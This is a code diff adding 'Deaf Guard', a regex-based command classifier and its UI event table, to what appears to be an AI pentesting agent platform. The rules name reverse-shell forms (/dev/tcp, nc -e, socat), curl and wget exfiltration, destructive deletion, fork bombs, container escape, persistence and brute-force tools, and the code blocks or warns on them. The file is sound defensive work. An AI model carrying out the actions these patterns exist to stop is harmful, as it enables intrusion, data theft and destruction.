{`\b(insmod|modprobe|rmmod)\b`, CategoryContainerEscape, RiskCritical, ActionBlock, "Kernel module operations not permitted"}, + {`\bunshare\b`, CategoryContainerEscape, RiskHigh, ActionBlock, "Namespace manipulation may enable escape"}, + {`\bdocker\s+(run|exec|cp|build|pull|push)`, CategoryContainerEscape, RiskCritical, ActionBlock, "Docker CLI commands from within container"}, + {`\b(kubectl|crictl|ctr)\s+`, CategoryContainerEscape, RiskCritical, ActionBlock, "Container orchestration commands not permitted"}, + {`/dev/(mem|kmem|port)`, CategoryContainerEscape, RiskCritical, ActionBlock, "Direct memory/port access not permitted"}, + {`echo\s+.*>\s*/proc/sys/`, CategoryContainerEscape, RiskCritical, ActionBlock, "Writing to kernel parameters not permitted"}, + + // ── Tier 2: Destructive File Operations ── + {`rm\s+(-[a-zA-Z]*[rf][a-zA-Z]*\s+)*(\/($|\s)|\/etc|\/var|\/usr|\/boot|\/dev|\/sys|\/proc)`, CategoryDestructiveFile, RiskCritical, ActionBlock, "Recursive/forced deletion of system directories"}, + {`\bshred\s+`, CategoryDestructiveFile, RiskCritical, ActionBlock, "Secure file erasure has no pentesting purpose"}, + {`\bdd\s+.*of\s*=\s*/dev/`, CategoryDestructiveFile, RiskCritical, ActionBlock, "Writing to block devices"}, + {`\b(mkfs|wipefs)\b`, CategoryDestructiveFile, RiskCritical, ActionBlock, "Filesystem creation/wiping not permitted"}, + {`\btruncate\s+.*-s\s*0\s+/(etc|var|usr)`, CategoryDestructiveFile, RiskHigh, ActionBlock, "Truncating system files to zero"}, + + // ── Tier 3: Network DoS ── + {`hping3?\s+.*--(flood|fast)`, CategoryNetworkDos, RiskCritical, ActionBlock, "Network flood attacks not permitted"}, + {`\bslowloris\b`, CategoryNetworkDos, RiskCritical, ActionBlock, "Slowloris DoS tool not permitted"}, + {`\bslowhttp(test)?\b`, CategoryNetworkDos, RiskCritical, ActionBlock, "Slow HTTP DoS tool not permitted"}, + {`:\(\)\s*\{.*\|.*&\s*\}`, CategoryNetworkDos, RiskCritical, ActionBlock, "Fork bomb detected"}, + {`\bstress(-ng)?\s+`, CategoryNetworkDos, RiskHigh, ActionBlock, "Stress testing tool not permitted"}, + {`\bping\s+.*-f\b`, CategoryNetworkDos, RiskHigh, ActionBlock, "Flood ping not permitted"}, + {`\biptables\s+.*(DROP|REJECT)`, CategoryNetworkDos, RiskHigh, ActionBlock, "Firewall manipulation not permitted"}, + {`\btc\s+.*netem`, CategoryNetworkDos, RiskHigh, ActionBlock, "Traffic shaping not permitted"}, + {`nmap\s+.*--script\s*=?\s*[^\s]*(dos)`, CategoryNetworkDos, RiskHigh, ActionBlock, "Nmap DoS scripts not permitted"}, + + // ── Tier 4: Persistence / Implants ── + {`\b(useradd|adduser)\s+`, CategoryPersistence, RiskHigh, ActionBlock, "Creating user accounts not permitted"}, + {`\busermod\s+.*-[a-zA-Z]*G`, CategoryPersistence, RiskHigh, ActionBlock, "Modifying user groups not permitted"}, + {`>>\s*.*authorized_keys`, CategoryPersistence, RiskHigh, ActionBlock, "SSH key injection not permitted"}, + {`>>\s*/etc/(passwd|shadow|sudoers)`, CategoryPersistence, RiskCritical, ActionBlock, "System credential file modification not permitted"}, + {`\bcrontab\s+`, CategoryPersistence, RiskHigh, ActionBlock, "Cron job manipulation not permitted"}, + {`/etc/cron\.(d|daily|hourly|weekly|monthly)/`, CategoryPersistence, RiskHigh, ActionBlock, "Cron directory manipulation not permitted"}, + {`/etc/systemd/system/`, CategoryPersistence, RiskHigh, ActionBlock, "Systemd service installation not permitted"}, + + // ── Tier 5: Reverse Shells / Exfiltration ── + {`(bash|sh|zsh)\s+.*>&\s*/dev/tcp/`, CategoryReverseShellExfil, RiskHigh, ActionWarn, "Bash reverse shell pattern detected"}, + {`\b(nc|ncat|netcat)\s+.*-[a-zA-Z]*e\s+`, CategoryReverseShellExfil, RiskHigh, ActionWarn, "Netcat reverse shell pattern detected"}, + {`python[23]?\s+-c\s+.*socket.*connect`, CategoryReverseShellExfil, RiskHigh, ActionWarn, "Python reverse shell pattern detected"}, + {`\bsocat\s+.*EXEC:.*TCP:`, CategoryReverseShellExfil, RiskHigh, ActionWarn, "Socat reverse shell pattern detected"}, + {`php\s+-r\s+.*fsockopen`, CategoryReverseShellExfil, RiskHigh, ActionWarn, "PHP reverse shell pattern detected"}, + {`ruby\s+-e\s+.*TCPSocket`, CategoryReverseShellExfil, RiskHigh, ActionWarn, "Ruby reverse shell pattern detected"}, + {`perl\s+-e\s+.*socket.*connect`, CategoryReverseShellExfil, RiskHigh, ActionWarn, "Perl reverse shell pattern detected"}, + {`curl\s+.*--upload-file`, CategoryReverseShellExfil, RiskMedium, ActionWarn, "File upload via curl detected"}, + {`curl\s+.*-d\s+@`, CategoryReverseShellExfil, RiskMedium, ActionWarn, "File content POST via curl detected"}, + {`wget\s+.*--post-file`, CategoryReverseShellExfil, RiskMedium, ActionWarn, "File upload via wget detected"}, + {`\bscp\s+`, CategoryReverseShellExfil, RiskMedium, ActionWarn, "SCP file transfer detected"}, + {`\brsync\s+`, CategoryReverseShellExfil, RiskMedium, ActionWarn, "Rsync transfer detected"}, + + // ── Tier 6: Credential Abuse ── + {`\b(hydra|medusa|ncrack|patator)\s+`, CategoryCredentialAbuse, RiskHigh, ActionWarn, "Brute force tool detected — verify target is in scope"}, + {`\b(crackmapexec|nxc|netexec)\s+`, CategoryCredentialAbuse, RiskHigh, ActionWarn, "Network credential tool detected — verify target is in scope"}, + {`\bsshpass\s+`, CategoryCredentialAbuse, RiskHigh, ActionWarn, "Automated SSH login detected — verify target is in scope"}, + + // ── Tier 7: Aggressive Pentest Flags ── + {`sqlmap\s+.*--risk\s*=?\s*3`, CategoryAggressiveFlags, RiskHigh, ActionWarn, "sqlmap risk level 3 can modify target data (UPDATE/INSERT)"}, + {`sqlmap\s+.*--(os-shell|os-pwn|os-cmd)`, CategoryAggressiveFlags, RiskHigh, ActionWarn, "sqlmap OS command execution modifies target state"}, + {`sqlmap\s+.*--file-write`, CategoryAggressiveFlags, RiskHigh, ActionWarn, "sqlmap file write modifies target filesystem"}, + {`nmap\s+.*--script\s*=?\s*[^\s]*(exploit|brute)`, CategoryAggressiveFlags, RiskMedium, ActionWarn, "Nmap exploit/brute scripts may modify target state"}, + {`(gobuster|ffuf|feroxbuster|dirsearch)\s+.*-t\s+[0-9]{3,}`, CategoryAggressiveFlags, RiskMedium, ActionWarn, "Very high thread count may overwhelm target"}, + {`\bwpscan\s+.*--passwords`, CategoryAggressiveFlags, RiskMedium, ActionWarn, "WordPress brute force may lock accounts"}, + } + + rules = make([]Rule, 0, len(raw)) + for _, r := range raw { + compiled := regexp.MustCompile(r.Pattern) + rules = append(rules, Rule{ + Pattern: compiled, + Category: r.Category, + Risk: r.Risk, + Action: r.Action, + Reason: r.Reason, + }) + } + + // Verify CategoryTier and CategoryInfo have identical key sets. + for cat := range CategoryTier { + if _, ok := CategoryInfo[cat]; !ok { + panic(fmt.Sprintf("deafguard: CategoryTier has %q but CategoryInfo does not", cat)) + } + } + for cat := range CategoryInfo { + if _, ok := CategoryTier[cat]; !ok { + panic(fmt.Sprintf("deafguard: CategoryInfo has %q but CategoryTier does not", cat)) + } + } +} diff --git a/backend/pkg/tools/executor.go b/backend/pkg/tools/executor.go index e63df4795..9655aa1ad 100644 --- a/backend/pkg/tools/executor.go +++ b/backend/pkg/tools/executor.go @@ -14,6 +14,7 @@ import ( obs "pentagi/pkg/observability" "pentagi/pkg/observability/langfuse" "pentagi/pkg/schema" + "pentagi/pkg/tools/deafguard" "github.com/vxcontrol/langchaingo/documentloaders" "github.com/vxcontrol/langchaingo/llms" @@ -134,11 +135,13 @@ type customExecutor struct { taskID *int64 subtaskID *int64 - db database.Querier - mlp MsgLogProvider - tclp ToolCallLogProvider - store *pgvector.Store - vslp VectorStoreLogProvider + db database.Querier + mlp MsgLogProvider + tclp ToolCallLogProvider + dgep DeafGuardEventProvider + deafGuard *deafguard.DeafGuard + store *pgvector.Store + vslp VectorStoreLogProvider definitions []llms.FunctionDefinition handlers map[string]ExecutorHandler @@ -294,6 +297,27 @@ func (ce *customExecutor) Execute( wrapHandler := func(ctx context.Context, name string, args json.RawMessage) (string, database.MsglogResultFormat, error) { resultFormat := getMessageResultFormat(name) + + // Deaf Guard: classify the command before execution + if ce.deafGuard != nil { + dgResult := ce.deafGuard.Classify(name, args) + // Surface the classification to any live GraphQL subscribers + // regardless of whether the command was allowed — the UI needs + // the full stream (log / warn / block) to render action counts. + if ce.dgep != nil { + ce.dgep.Publish(ctx, dgResult) + } + if !dgResult.Allowed { + blockedMsg := fmt.Sprintf( + "BLOCKED by Deaf Guard [%s / tier %d]: %s\nMode: %s | Risk: %s\nAdjust your approach or request operator approval.", + dgResult.Category, dgResult.Tier, dgResult.Reason, dgResult.Mode, dgResult.Risk, + ) + durationDelta := time.Since(startTime).Seconds() + _ = ce.tclp.UpdateLogFailed(context.WithoutCancel(ctx), tcID, blockedMsg, durationDelta) + return blockedMsg, resultFormat, nil + } + } + result, err := handler(ctx, name, args) persistCtx := context.WithoutCancel(ctx) diff --git a/backend/pkg/tools/tools.go b/backend/pkg/tools/tools.go index 3b00127ae..587d8a86e 100644 --- a/backend/pkg/tools/tools.go +++ b/backend/pkg/tools/tools.go @@ -22,6 +22,7 @@ import ( "pentagi/pkg/graphiti" "pentagi/pkg/providers/embeddings" "pentagi/pkg/schema" + "pentagi/pkg/tools/deafguard" "github.com/moby/moby/api/types/container" "github.com/moby/moby/client" @@ -160,17 +161,28 @@ type KnowledgeProvider interface { KnowledgeDocumentCreated(ctx context.Context, doc *model.KnowledgeDocument) } +// DeafGuardEventProvider fans classification results out to live GraphQL +// subscribers. Implementations must be non-blocking from the caller's +// perspective — the Deaf Guard runs inline on the tool-call hot path, so +// Publish is expected to return promptly and MUST NOT take the caller's +// lock. A nil provider is valid; callers must nil-check before invoking. +type DeafGuardEventProvider interface { + Publish(ctx context.Context, result *deafguard.ClassificationResult) +} + type flowToolsExecutor struct { - userID int64 - flowID int64 - scp ScreenshotProvider - alp AgentLogProvider - mlp MsgLogProvider - slp SearchLogProvider - tlp TermLogProvider - vslp VectorStoreLogProvider - tclp ToolCallLogProvider - knp KnowledgeProvider + userID int64 + flowID int64 + scp ScreenshotProvider + alp AgentLogProvider + mlp MsgLogProvider + slp SearchLogProvider + tlp TermLogProvider + vslp VectorStoreLogProvider + tclp ToolCallLogProvider + knp KnowledgeProvider + dgep DeafGuardEventProvider + deafGuard *deafguard.DeafGuard db database.Querier cfg *config.Config @@ -331,6 +343,7 @@ type FlowToolsExecutor interface { SetVectorStoreLogProvider(vslp VectorStoreLogProvider) SetToolCallLogProvider(tclp ToolCallLogProvider) SetKnowledgeProvider(knp KnowledgeProvider) + SetDeafGuardEventProvider(dgep DeafGuardEventProvider) SetGraphitiClient(client *graphiti.Client) Prepare(ctx context.Context) error @@ -383,6 +396,8 @@ func NewFlowToolsExecutor( return nil, fmt.Errorf("failed to create replacer: %v", sharedReplacerErr) } + dg := deafguard.New(cfg) + return &flowToolsExecutor{ db: db, docker: docker, @@ -391,6 +406,7 @@ func NewFlowToolsExecutor( cfg: cfg, flowID: flowID, userID: userID, + deafGuard: dg, definitions: make(map[string]llms.FunctionDefinition), handlers: make(map[string]ExecutorHandler), }, nil @@ -476,6 +492,10 @@ func (fte *flowToolsExecutor) SetKnowledgeProvider(knp KnowledgeProvider) { fte.knp = knp } +func (fte *flowToolsExecutor) SetDeafGuardEventProvider(dgep DeafGuardEventProvider) { + fte.dgep = dgep +} + func (fte *flowToolsExecutor) SetGraphitiClient(client *graphiti.Client) { fte.graphitiClient = client } @@ -803,6 +823,8 @@ func (fte *flowToolsExecutor) GetCustomExecutor(cfg CustomExecutorConfig) (Conte subtaskID: cfg.SubtaskID, mlp: fte.mlp, tclp: fte.tclp, + dgep: fte.dgep, + deafGuard: fte.deafGuard, vslp: fte.vslp, db: fte.db, store: fte.store, @@ -985,6 +1007,8 @@ func (fte *flowToolsExecutor) GetAssistantExecutor(cfg AssistantExecutorConfig) flowID: fte.flowID, mlp: fte.mlp, tclp: fte.tclp, + dgep: fte.dgep, + deafGuard: fte.deafGuard, vslp: fte.vslp, db: fte.db, store: fte.store, @@ -1033,6 +1057,8 @@ func (fte *flowToolsExecutor) GetPrimaryExecutor(cfg PrimaryExecutorConfig) (Con subtaskID: &cfg.SubtaskID, mlp: fte.mlp, tclp: fte.tclp, + dgep: fte.dgep, + deafGuard: fte.deafGuard, vslp: fte.vslp, db: fte.db, store: fte.store, @@ -1110,6 +1136,8 @@ func (fte *flowToolsExecutor) GetInstallerExecutor(cfg InstallerExecutorConfig) subtaskID: cfg.SubtaskID, mlp: fte.mlp, tclp: fte.tclp, + dgep: fte.dgep, + deafGuard: fte.deafGuard, vslp: fte.vslp, db: fte.db, store: fte.store, @@ -1217,6 +1245,8 @@ func (fte *flowToolsExecutor) GetCoderExecutor(cfg CoderExecutorConfig) (Context subtaskID: cfg.SubtaskID, mlp: fte.mlp, tclp: fte.tclp, + dgep: fte.dgep, + deafGuard: fte.deafGuard, vslp: fte.vslp, db: fte.db, store: fte.store, @@ -1342,6 +1372,8 @@ func (fte *flowToolsExecutor) GetPentesterExecutor(cfg PentesterExecutorConfig) subtaskID: cfg.SubtaskID, mlp: fte.mlp, tclp: fte.tclp, + dgep: fte.dgep, + deafGuard: fte.deafGuard, vslp: fte.vslp, db: fte.db, store: fte.store, @@ -1442,6 +1474,8 @@ func (fte *flowToolsExecutor) GetSearcherExecutor(cfg SearcherExecutorConfig) (C subtaskID: cfg.SubtaskID, mlp: fte.mlp, tclp: fte.tclp, + dgep: fte.dgep, + deafGuard: fte.deafGuard, vslp: fte.vslp, db: fte.db, store: fte.store, @@ -1529,14 +1563,16 @@ func (fte *flowToolsExecutor) GetGeneratorExecutor(cfg GeneratorExecutorConfig) ) ce := &customExecutor{ - userID: fte.userID, - flowID: fte.flowID, - taskID: &cfg.TaskID, - mlp: fte.mlp, - tclp: fte.tclp, - vslp: fte.vslp, - db: fte.db, - store: fte.store, + userID: fte.userID, + flowID: fte.flowID, + taskID: &cfg.TaskID, + mlp: fte.mlp, + tclp: fte.tclp, + dgep: fte.dgep, + deafGuard: fte.deafGuard, + vslp: fte.vslp, + db: fte.db, + store: fte.store, definitions: []llms.FunctionDefinition{ registryDefinitions[MemoristToolName], registryDefinitions[SearchToolName], @@ -1598,14 +1634,16 @@ func (fte *flowToolsExecutor) GetRefinerExecutor(cfg RefinerExecutorConfig) (Con ) ce := &customExecutor{ - userID: fte.userID, - flowID: fte.flowID, - taskID: &cfg.TaskID, - mlp: fte.mlp, - tclp: fte.tclp, - vslp: fte.vslp, - db: fte.db, - store: fte.store, + userID: fte.userID, + flowID: fte.flowID, + taskID: &cfg.TaskID, + mlp: fte.mlp, + tclp: fte.tclp, + dgep: fte.dgep, + deafGuard: fte.deafGuard, + vslp: fte.vslp, + db: fte.db, + store: fte.store, definitions: []llms.FunctionDefinition{ registryDefinitions[MemoristToolName], registryDefinitions[SearchToolName], @@ -1669,6 +1707,8 @@ func (fte *flowToolsExecutor) GetMemoristExecutor(cfg MemoristExecutorConfig) (C subtaskID: cfg.SubtaskID, mlp: fte.mlp, tclp: fte.tclp, + dgep: fte.dgep, + deafGuard: fte.deafGuard, vslp: fte.vslp, db: fte.db, store: fte.store, @@ -1742,6 +1782,8 @@ func (fte *flowToolsExecutor) GetEnricherExecutor(cfg EnricherExecutorConfig) (C subtaskID: cfg.SubtaskID, mlp: fte.mlp, tclp: fte.tclp, + dgep: fte.dgep, + deafGuard: fte.deafGuard, vslp: fte.vslp, db: fte.db, store: fte.store, @@ -1812,6 +1854,8 @@ func (fte *flowToolsExecutor) GetReporterExecutor(cfg ReporterExecutorConfig) (C subtaskID: cfg.SubtaskID, mlp: fte.mlp, tclp: fte.tclp, + dgep: fte.dgep, + deafGuard: fte.deafGuard, vslp: fte.vslp, db: fte.db, store: fte.store, diff --git a/docker-compose.yml b/docker-compose.yml index 97c5a7ae6..b4a3275ca 100644 --- a/docker-compose.yml +++ b/docker-compose.yml @@ -117,6 +117,8 @@ services: - MAX_GENERAL_AGENT_TOOL_CALLS=${MAX_GENERAL_AGENT_TOOL_CALLS:-} - MAX_LIMITED_AGENT_TOOL_CALLS=${MAX_LIMITED_AGENT_TOOL_CALLS:-} - AGENT_PLANNING_STEP_ENABLED=${AGENT_PLANNING_STEP_ENABLED:-} + - DEAF_GUARD_ENABLED=${DEAF_GUARD_ENABLED:-} + - DEAF_GUARD_MODE=${DEAF_GUARD_MODE:-} - PROXY_URL=${PROXY_URL:-} - EXTERNAL_SSL_CA_PATH=${EXTERNAL_SSL_CA_PATH:-} - EXTERNAL_SSL_INSECURE=${EXTERNAL_SSL_INSECURE:-} diff --git a/frontend/e2e/mocks/cassettes/flows.ts b/frontend/e2e/mocks/cassettes/flows.ts index 0c697d274..30bc2d64d 100644 --- a/frontend/e2e/mocks/cassettes/flows.ts +++ b/frontend/e2e/mocks/cassettes/flows.ts @@ -136,6 +136,7 @@ export const flowQueryData = ( terminalLogs: TerminalLogFragmentFragment[] = [], ): ResultOf => ({ agentLogs: [], + deafGuardEvents: [], flow, messageLogs, screenshots: [], @@ -345,6 +346,7 @@ const PNG_1X1 = Buffer.from( const flowTabsData: ResultOf = { agentLogs: [TABS_AGENT_LOG], + deafGuardEvents: [], flow: FLOW_A, messageLogs: [], screenshots: [TABS_SCREENSHOT], diff --git a/frontend/graphql-schema.graphql b/frontend/graphql-schema.graphql index 0547b3d04..0c225995a 100644 --- a/frontend/graphql-schema.graphql +++ b/frontend/graphql-schema.graphql @@ -150,6 +150,20 @@ fragment vectorStoreLogFragment on VectorStoreLog { createdAt } +fragment deafGuardEventFragment on DeafGuardEvent { + id + flowId + timestamp + command + category + tier + risk + action + allowed + mode + reason +} + fragment assistantFragment on Assistant { id title @@ -832,6 +846,9 @@ query flow($id: ID!) { vectorStoreLogs(flowId: $id) { ...vectorStoreLogFragment } + deafGuardEvents(flowId: $id) { + ...deafGuardEventFragment + } } query tasks($flowId: ID!) { @@ -1249,6 +1266,12 @@ subscription vectorStoreLogAdded($flowId: ID!) { } } +subscription deafGuardEventAdded($flowId: ID!) { + deafGuardEventAdded(flowId: $flowId) { + ...deafGuardEventFragment + } +} + subscription assistantCreated($flowId: ID!) { assistantCreated(flowId: $flowId) { ...assistantFragment diff --git a/frontend/src/app.tsx b/frontend/src/app.tsx index 1f078b94b..fdc9a8f23 100644 --- a/frontend/src/app.tsx +++ b/frontend/src/app.tsx @@ -52,6 +52,7 @@ const SettingsPrompt = lazy(() => import('@/pages/settings/settings-prompt')); const SettingsPrompts = lazy(() => import('@/pages/settings/settings-prompts')); const SettingsProvider = lazy(() => import('@/pages/settings/settings-provider')); const SettingsProviders = lazy(() => import('@/pages/settings/settings-providers')); +const SettingsSecurity = lazy(() => import('@/pages/settings/settings-security')); function FlowWithProvider() { return ( @@ -231,6 +232,11 @@ const router = createBrowserRouter( handle={routeTitles.apiTokens} path="api-tokens" /> + } + handle={routeTitles.security} + path="security" + /> screen.getByRole('link', { name: /Back to App/ }); describe('SettingsSidebar "Back to App"', () => { + it('lists the Security tab', () => { + renderSidebar({ pathname: '/settings/account' }); + + expect(screen.getByRole('link', { name: 'Security' })).toHaveAttribute('href', '/settings/security'); + }); + it('returns to the page the user came from', () => { renderSidebar({ pathname: '/settings/account', state: { from: '/dashboard' } }); diff --git a/frontend/src/components/layouts/settings/settings-sidebar.tsx b/frontend/src/components/layouts/settings/settings-sidebar.tsx index 1ea570f22..81937e2bd 100644 --- a/frontend/src/components/layouts/settings/settings-sidebar.tsx +++ b/frontend/src/components/layouts/settings/settings-sidebar.tsx @@ -1,6 +1,6 @@ import type { ReactNode } from 'react'; -import { ArrowLeft, FileText, Key, Plug, Settings as SettingsIcon, User } from 'lucide-react'; +import { ArrowLeft, FileText, Key, Plug, Settings as SettingsIcon, Shield, User } from 'lucide-react'; import { useState } from 'react'; import { NavLink, useLocation } from 'react-router-dom'; @@ -54,6 +54,12 @@ const menuItems: readonly MenuItem[] = [ path: routes.settings.apiTokens, title: 'API Tokens', }, + { + icon: , + id: 'security', + path: routes.settings.security, + title: 'Security', + }, ] as const; export function SettingsSidebar() { diff --git a/frontend/src/features/flows/deaf-guard/flow-deaf-guard.tsx b/frontend/src/features/flows/deaf-guard/flow-deaf-guard.tsx new file mode 100644 index 000000000..d55dbea8e --- /dev/null +++ b/frontend/src/features/flows/deaf-guard/flow-deaf-guard.tsx @@ -0,0 +1,611 @@ +import { + type ColumnDef, + type ExpandedState, + flexRender, + getCoreRowModel, + getExpandedRowModel, + type Row, + useReactTable, +} from '@tanstack/react-table'; +import { Check, ChevronDown, ChevronRight, ListFilter, Search, Shield, ShieldAlert, ShieldX, X } from 'lucide-react'; +import { Fragment, type ReactElement, useEffect, useMemo, useState } from 'react'; +import { useDebouncedCallback } from 'use-debounce'; + +import type { DeafGuardEventFragmentFragment } from '@/graphql/types'; + +import { Badge } from '@/components/ui/badge'; +import { Button } from '@/components/ui/button'; +import { + Command, + CommandEmpty, + CommandGroup, + CommandItem, + CommandList, + CommandSeparator, +} from '@/components/ui/command'; +import { Empty, EmptyContent, EmptyDescription, EmptyHeader, EmptyMedia, EmptyTitle } from '@/components/ui/empty'; +import { InputGroup, InputGroupAddon, InputGroupButton, InputGroupInput } from '@/components/ui/input-group'; +import { Popover, PopoverContent, PopoverTrigger } from '@/components/ui/popover'; +import { ScrollArea } from '@/components/ui/scroll-area'; +import { Table, TableBody, TableCell, TableHead, TableHeader, TableRow } from '@/components/ui/table'; +import { cn } from '@/lib/utils'; +import { useFlow } from '@/providers/flow-provider'; + +import { + countByAction, + countByTier, + DEAF_GUARD_ACTIONS, + DEAF_GUARD_TIERS, + type DeafGuardAction, + filterEvents, + getTierBand, + hasActiveFilters, + sortNewestFirst, +} from './lib'; + +// Formatted HH:MM:SS from a Unix-seconds timestamp. +const formatTimestamp = (ts: number): string => { + const date = new Date(ts * 1000); + + return date.toLocaleTimeString('en-US', { hour: '2-digit', hour12: false, minute: '2-digit', second: '2-digit' }); +}; + +// Maps a severity band to Tailwind row-border + background classes. The left +// border is the main cue, with a faint tinted background for easier scanning. +const ROW_BAND_CLASSES: Record, string> = { + destructive: 'border-l-4 border-l-destructive bg-destructive/5', + neutral: 'border-l-4 border-l-muted-foreground/30', + warn: 'border-l-4 border-l-amber-500 bg-amber-500/5', +}; + +// Badge variant for the action cell — visually reinforces severity at a glance. +const actionBadgeVariant = (action: string): 'default' | 'destructive' | 'outline' | 'secondary' => { + if (action === 'block') { + return 'destructive'; + } + + if (action === 'warn') { + return 'secondary'; + } + + return 'outline'; +}; + +// Badge styling for the tier cell, aligned with row banding. +const tierBadgeClasses = (tier: number): string => { + const band = getTierBand(tier); + + if (band === 'destructive') { + return 'bg-destructive/10 text-destructive border-destructive/30'; + } + + if (band === 'warn') { + return 'bg-amber-500/10 text-amber-700 dark:text-amber-400 border-amber-500/40'; + } + + return 'bg-muted text-muted-foreground'; +}; + +const ACTION_ICONS: Record = { + block: , + log: , + warn: , +}; + +const SEARCH_DEBOUNCE_MS = 500; + +// ---------- Multi-select popover (tier or action) ---------- + +interface MultiSelectFilterProps { + label: string; + onClear: () => void; + onToggle: (value: T) => void; + options: readonly { label: string; value: T }[]; + selected: ReadonlySet; +} + +function MultiSelectFilter({ + label, + onClear, + onToggle, + options, + selected, +}: MultiSelectFilterProps) { + const [open, setOpen] = useState(false); + const selectedCount = selected.size; + + return ( + + + + + + + + No options + + {options.map((option) => { + const isSelected = selected.has(option.value); + + return ( + onToggle(option.value)} + > +
+ +
+ {option.label} + + ); + })} + + {selectedCount > 0 && ( + <> + + + + Clear {label.toLowerCase()} + + + + )} + + + + + ); +} + +// ---------- Row expansion sub-component (full reason) ---------- + +function ReasonDetails({ event }: { event: DeafGuardEventFragmentFragment }) { + return ( +
+
+ Reason + {event.reason} +
+
+
+ Category: + {event.category} +
+
+ Risk: + {event.risk} +
+
+ Mode: + {event.mode} +
+
+ Allowed: + {event.allowed ? 'true' : 'false'} +
+
+
+ Command: + {event.command} +
+
+ ); +} + +// ---------- Column definitions ---------- + +const columns: ColumnDef[] = [ + { + cell: ({ row }) => ( +
+ {row.getIsExpanded() ? : } +
+ ), + header: '', + id: 'expander', + size: 32, + }, + { + accessorFn: (row) => row.timestamp, + cell: ({ row }) => ( + {formatTimestamp(row.original.timestamp)} + ), + header: 'Time', + id: 'time', + size: 92, + }, + { + accessorFn: (row) => row.tier, + cell: ({ row }) => ( + + T{row.original.tier} + + ), + header: 'Tier', + id: 'tier', + size: 64, + }, + { + accessorFn: (row) => row.action, + cell: ({ row }) => { + const action = row.original.action as DeafGuardAction; + + return ( + + {ACTION_ICONS[action]} + {row.original.action} + + ); + }, + header: 'Action', + id: 'action', + size: 96, + }, + { + accessorFn: (row) => row.allowed, + cell: ({ row }) => ( + + {row.original.allowed ? 'allowed' : 'blocked'} + + ), + header: 'Outcome', + id: 'allowed', + size: 80, + }, + { + accessorFn: (row) => row.command, + cell: ({ row }) => ( + + {row.original.command} + + ), + header: 'Command', + id: 'command', + }, +]; + +// ---------- Main component ---------- + +function FlowDeafGuard() { + const { flowData, flowId } = useFlow(); + + const events = useMemo(() => flowData?.deafGuardEvents ?? [], [flowData?.deafGuardEvents]); + + const sortedEvents = useMemo(() => sortNewestFirst(events), [events]); + + // Filter state — reset whenever the user navigates between flows. + const [selectedTiers, setSelectedTiers] = useState>(new Set()); + const [selectedActions, setSelectedActions] = useState>(new Set()); + const [searchInput, setSearchInput] = useState(''); + const [debouncedSearch, setDebouncedSearch] = useState(''); + const [expanded, setExpanded] = useState({}); + + const debouncedUpdateSearch = useDebouncedCallback((value: string) => { + setDebouncedSearch(value); + }, SEARCH_DEBOUNCE_MS); + + useEffect(() => { + debouncedUpdateSearch(searchInput); + + return () => { + debouncedUpdateSearch.cancel(); + }; + }, [searchInput, debouncedUpdateSearch]); + + useEffect(() => { + return () => { + debouncedUpdateSearch.cancel(); + }; + }, [debouncedUpdateSearch]); + + // Reset filters + expansion state when switching flows — state is purely + // per-flow, and a stale filter from flow A shouldn't hide events in flow B. + useEffect(() => { + setSelectedTiers(new Set()); + setSelectedActions(new Set()); + setSearchInput(''); + setDebouncedSearch(''); + setExpanded({}); + debouncedUpdateSearch.cancel(); + }, [flowId, debouncedUpdateSearch]); + + const filters = useMemo( + () => ({ actions: selectedActions, search: debouncedSearch, tiers: selectedTiers }), + [selectedActions, debouncedSearch, selectedTiers], + ); + + const filteredEvents = useMemo(() => filterEvents(sortedEvents, filters), [sortedEvents, filters]); + + // Counters are computed against the full event set so the pills reflect + // the true distribution regardless of the currently applied filters. + const actionCounts = useMemo(() => countByAction(events), [events]); + const tierCounts = useMemo(() => countByTier(events), [events]); + + const table = useReactTable({ + columns, + data: filteredEvents, + getCoreRowModel: getCoreRowModel(), + getExpandedRowModel: getExpandedRowModel(), + getRowCanExpand: () => true, + getRowId: (row) => String(row.id), + onExpandedChange: setExpanded, + state: { expanded }, + }); + + const filtersActive = hasActiveFilters(filters); + const hasEvents = events.length > 0; + const hasVisibleEvents = filteredEvents.length > 0; + + const toggleTier = (tier: number) => + setSelectedTiers((prev) => { + const next = new Set(prev); + + if (next.has(tier)) { + next.delete(tier); + } else { + next.add(tier); + } + + return next; + }); + + const toggleAction = (action: string) => + setSelectedActions((prev) => { + const next = new Set(prev); + + if (next.has(action)) { + next.delete(action); + } else { + next.add(action); + } + + return next; + }); + + const clearAllFilters = () => { + setSelectedTiers(new Set()); + setSelectedActions(new Set()); + setSearchInput(''); + setDebouncedSearch(''); + debouncedUpdateSearch.cancel(); + }; + + const handleRowClick = (row: Row) => row.toggleExpanded(); + + return ( +
+ {/* Filter bar — sticky above the table */} +
+ + + + + setSearchInput(event.target.value)} + placeholder="Search command or reason..." + type="text" + value={searchInput} + /> + {searchInput && ( + + { + setSearchInput(''); + setDebouncedSearch(''); + debouncedUpdateSearch.cancel(); + }} + size="icon-xs" + title="Clear search" + type="button" + > + + + + )} + + setSelectedTiers(new Set())} + onToggle={toggleTier} + options={DEAF_GUARD_TIERS.map((tier) => ({ label: `Tier ${tier}`, value: tier }))} + selected={selectedTiers} + /> + setSelectedActions(new Set())} + onToggle={toggleAction} + options={DEAF_GUARD_ACTIONS.map((action) => ({ label: action, value: action }))} + selected={selectedActions} + /> + {filtersActive && ( + + )} +
+ + {/* Counter pill rows — action counts (required) + tier counts (stretch) */} +
+
+ By action + {DEAF_GUARD_ACTIONS.map((action) => ( + + {ACTION_ICONS[action]} + {action}: {actionCounts[action]} + + ))} +
+
+ By tier + {DEAF_GUARD_TIERS.map((tier) => ( + + T{tier}: {tierCounts[tier]} + + ))} +
+
+ + {/* Table / empty states */} + + {!hasEvents ? ( + + + + + + No classifications yet + + Deaf Guard classifies every terminal command the flow executes. Events will stream in + here as the flow runs. + + + + ) : !hasVisibleEvents ? ( + + + + + + No events match your filters + Try adjusting the tier, action, or search filters. + + + + + + ) : ( + + + {table.getHeaderGroups().map((headerGroup) => ( + + {headerGroup.headers.map((header) => ( + + {header.isPlaceholder + ? null + : flexRender(header.column.columnDef.header, header.getContext())} + + ))} + + ))} + + + {table.getRowModel().rows.map((row) => ( + + handleRowClick(row)} + > + {row.getVisibleCells().map((cell) => ( + + {flexRender(cell.column.columnDef.cell, cell.getContext())} + + ))} + + {row.getIsExpanded() && ( + + + + + + )} + + ))} + +
+ )} + +
